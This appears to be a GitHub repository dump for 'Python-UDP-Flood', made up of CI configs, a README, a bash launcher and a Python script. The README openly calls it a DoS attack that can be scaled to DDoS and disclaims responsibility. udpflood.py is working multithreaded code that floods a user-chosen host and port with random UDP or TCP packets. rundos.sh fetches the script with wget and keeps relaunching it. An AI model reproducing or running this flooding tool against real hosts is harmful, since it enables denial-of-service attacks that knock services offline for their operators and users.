├── .semaphore └── semaphore.yml ├── .test ├── .travis.yml ├── README.md ├── rundos.sh └── udpflood.py /.semaphore/semaphore.yml: -------------------------------------------------------------------------------- 1 | version: v1.0 2 | name: Python 3 | agent: 4 | machine: 5 | type: e1-standard-2 6 | os_image: ubuntu1804 7 | blocks: 8 | - name: Test 9 | task: 10 | jobs: 11 | - name: all 12 | commands: 13 | - sem-version python 3.7 14 | - checkout 15 | - python3 udpflood.py < .test 16 | -------------------------------------------------------------------------------- /.test: -------------------------------------------------------------------------------- 1 | n 2 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | # .travis.yml 2 | 3 | dist: xenial 4 | 5 | language: python 6 | 7 | cache: pip 8 | 9 | python: 10 | - "3.6" 11 | - "3.7" 12 | - "3.8" 13 | - "nightly" 14 | 15 | matrix: 16 | allow_failures: 17 | - python: "nightly" 18 | 19 | install: 20 | - pip install codecov 21 | - pip install coverage 22 | 23 | script: 24 | - python3 udpflood.py < .test 25 | 26 | after_success: 27 | - bash <(curl -s https://codecov.io/bash) 28 | - coverage run udpflood.py < .test 29 | - codecov 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Build Status](https://semaphoreci.com/api/v1/xavifortes/python-udp-flood/branches/master/badge.svg)](https://semaphoreci.com/xavifortes/python-udp-flood) 2 | 3 | [![Build Status](https://xavifortes.semaphoreci.com/badges/Python-UDP-Flood/branches/set-up-semaphore.svg?style=shields)](https://xavifortes.semaphoreci.com/projects/Python-UDP-Flood) 4 | 5 | [![Build Status](https://travis-ci.org/XaviFortes/Python-UDP-Flood.svg?branch=master)](https://travis-ci.org/XaviFortes/Python-UDP-Flood) 6 | 7 | [![JK](https://forthebadge.com/images/badges/built-by-developers.svg)](https://github.com/XaviFortes) [![JK](https://forthebadge.com/images/badges/60-percent-of-the-time-works-every-time.svg)](https://github.com/XaviFortes) [![JK](https://forthebadge.com/images/badges/built-with-grammas-recipe.svg)](https://github.com/XaviFortes) 8 | [![JK](https://forthebadge.com/images/badges/built-with-love.svg)](https://github.com/XaviFortes) 9 | 10 | # Python-UDP-Flood 11 | Very basic DOS attack made with python. 12 | 13 | It can be converted into a DDOS attack using multiple computers. 14 | 15 | I'm not responsible for the use you give using this program. 16 | 17 | It Supports UDP and TCP 18 | 19 | ## Usage 20 | download or copy the script of rundos.sh 21 | 22 | Maybe you should do it to make it work. 23 | ```bash 24 | chmod +x rundos.sh 25 | ``` 26 | 27 | ### Auto-Install Script 28 | ```bash 29 | wget -O ddos.sh 'https://raw.githubusercontent.com/XaviFortes/Python-UDP-Flood/master/rundos.sh' && chmod +x ddos.sh && ./ddos.sh 30 | ``` 31 | After running this code and want to open it again just do: 32 | ```bash 33 | ./ddos.sh 34 | ``` 35 | And if you want an auto-update bash script (I don't think it would be updated too much) 36 | take the Auto-Install Script and put it inside a .sh file 37 | 38 | ### Windows 39 | If you are on windows install Python3 and download the script udpflood.py open a powershell window or cmd 40 | ```bash 41 | python3 udpflood.py 42 | ``` 43 | -------------------------------------------------------------------------------- /rundos.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | wget -O /tmp/uwu.py 'https://raw.githubusercontent.com/XaviFortes/Python-UDP-Flood/master/udpflood.py' 4 | chmod +x /tmp/uwu.py 5 | sudo yum install epel-release -y 6 | sudo yum install snapd -y 7 | sudo yum install python38 -y 8 | sudo yum install python -y 9 | sudo apt-get install python38 -y 10 | sudo systemctl enable --now snapd.socket 11 | sudo ln -s /var/lib/snapd/snap /snap 12 | sudo yum -y update 13 | sudo yum -y upgrade 14 | sudo snap install figlet 15 | sudo yum -y install figlet 16 | cd /tmp 17 | clear 18 | while true; do 19 | clear 20 | python3 uwu.py 21 | case $? in 22 | 130) break ;; 23 | esac 24 | clear 25 | figlet Hit another time Ctrl + C to exit -f slant 26 | figlet You have 10 seconds -f smslant 27 | sleep 10 28 | clear 29 | done 30 | clear 31 | -------------------------------------------------------------------------------- /udpflood.py: -------------------------------------------------------------------------------- 1 | """ 2 | UDP Flooder. 3 | This is a 'Dos' attack program to attack servers, you set the IP always that you have permission to do it. 4 | and the port and the amount of seconds and it will start flooding to that server. 5 | Created by Xavi Fortes -> https://github.com/XaviFortes/Python-UDP-Flood 6 | Usage : ./flood_udp 7 | Press enter to continue and introduce the data. 8 | """ 9 | import signal 10 | import time 11 | import socket 12 | import random 13 | import threading 14 | import sys 15 | import os 16 | from os import system, name 17 | 18 | print("\033[1;34;40m \n") 19 | os.system("figlet DDOS ATTACK -f slant") 20 | print("\033[1;33;40m If you have any issue post a thread on https://github.com/XaviFortes/Python-UDP-Flood/issues\n") 21 | 22 | print("\033[1;32;40m ==> Code by Karasu <== \n") 23 | test = input() 24 | if test == "n": 25 | exit(0) 26 | ip = str(input(" Host/Ip:")) 27 | port = int(input(" Port:")) 28 | choice = str(input(" UDP(y/n):")) 29 | times = int(input(" Packets per one connection:")) 30 | threads = int(input(" Threads:")) 31 | def run(): 32 | data = random._urandom(1024) 33 | i = random.choice(("[*]","[!]","[#]")) 34 | while True: 35 | try: 36 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #UDP = SOCK_DGRAM 37 | addr = (str(ip),int(port)) 38 | for x in range(times): 39 | s.sendto(data,addr) 40 | print(i +"UDP Sent!!!") 41 | except: 42 | s.close() 43 | print("[!] Error!!!") 44 | 45 | def run2(): 46 | data = random._urandom(16) 47 | i = random.choice(("[*]","[!]","[#]")) 48 | while True: 49 | try: 50 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #TCP = SOCK_STREAM 51 | s.connect((ip,port)) 52 | s.send(data) 53 | for x in range(times): 54 | s.send(data) 55 | print(i +"TCP Sent!!!") 56 | except: 57 | s.close() 58 | print("[*] Error") 59 | 60 | for y in range(threads): 61 | if choice == 'y': 62 | th = threading.Thread(target = run) 63 | th.start() 64 | else: 65 | th = threading.Thread(target = run2) 66 | th.start() 67 | 68 | def new(): 69 | for y in range(threads): 70 | if choice == 'y': 71 | th = threading.Thread(target = run) 72 | th.start() 73 | else: 74 | th = threading.Thread(target = run2) 75 | th.start() 76 | 77 | def whereuwere(): 78 | print("Aww man, I'm so sorry, but I can't remember if u were in TCP or UDP") 79 | print("Put 1 for UDP and 2 for TCP") 80 | whereman = str(input(" 1 or 2 >:(")) 81 | if whereman == '1': 82 | run() 83 | else: 84 | run2() 85 | 86 | def clear(): 87 | if name == 'nt': 88 | _ = system('cls') 89 | else: 90 | _ = system('clear') 91 | 92 | def byebye(): 93 | clear() 94 | os.system("figlet Youre Leaving Sir -f slant") 95 | sys.exit(130) 96 | 97 | def exit_gracefully(signum, frame): 98 | # restore the original signal handler 99 | signal.signal(signal.SIGINT, original_sigint) 100 | 101 | try: 102 | exitc = str(input(" You wanna exit bby <3 ?:")) 103 | if exitc == 'y': 104 | 105 | byebye() 106 | 107 | except KeyboardInterrupt: 108 | print("Ok ok") 109 | byebye() 110 | 111 | # restore the gracefully exit handler 112 | signal.signal(signal.SIGINT, exit_gracefully) 113 | 114 | if __name__ == '__main__': 115 | # store SIGINT handler 116 | original_sigint = signal.getsignal(signal.SIGINT) 117 | signal.signal(signal.SIGINT, exit_gracefully) 118 | --------------------------------------------------------------------------------